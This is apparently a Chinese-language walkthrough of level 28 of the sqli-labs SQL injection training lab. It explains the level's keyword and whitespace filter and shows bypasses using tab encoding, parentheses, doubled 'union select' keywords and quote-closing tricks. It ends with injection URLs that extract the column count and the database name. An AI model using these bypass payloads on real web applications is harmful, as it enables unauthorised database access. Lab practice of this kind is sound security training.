sqli-labs第二十八关——Trick with ‘union select‘
一:分析
这一关的提示和上一关一样,所以我们查看源码,屏蔽了注释符,空格,union,select等关键词
分析这一条源码的几个新增添符号
\s:
匹配任何的空白字符(普通空格,\t(%09),\n(%0a),\r(%0d)等),只屏蔽空白符号,不屏蔽其url编码
+:
匹配前一个字符一次或者多次:这里的前一个字符是\s,也就是说明,以下代码都将被过滤
union select(单空格)
union select(多空格)
union%09%0aselect(混合空白符)
/i:
使得匹配忽略大小写,所以这一关也不能用大小写绕过注入
conclusion1:
这一关我们用 ||’ 代替注释符,双写绕过union select 的过滤,空格可以用括号闭合
举几个括号闭合的例子:
union select 1,2,3--+
union(select(1),(2),(3))--+and 1=1--+
and(1)=(1)--+order by 2--+
order(by(2))--+
加括号的规则:
1.关键词直接用括号连起来
union select
union(select
2.参数用括号包裹,运算符不动
1,2,3
(1),(2),(3)
conclution2: 注释符被过滤时的代替方案
1:||’1 逻辑闭合
2:and ('1'=%271
二:判断注入类型:
尝试?id=1',?id=1'),这两种类型的时候报错
尝试闭合,单引号闭合成功
三:开始攻击
1.用union select查找列数(两种方法)
嵌套一个union select
?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1
回显失败,我们观察下面的提示,发现输入的 ?id=-1 被过滤成了 ?id=1
于是尝试?id=999
?id=-1')%09ununion%09selection%09select%091,2,3%09and%09('1'='1
成功回显
?id=999')%09ununion%09selection%09select%091,2,3%09and%09('1'='1
2.爆数据库名
?id=999')%09ununion%09selection%09select%091,database(),3%09and%09('1'='1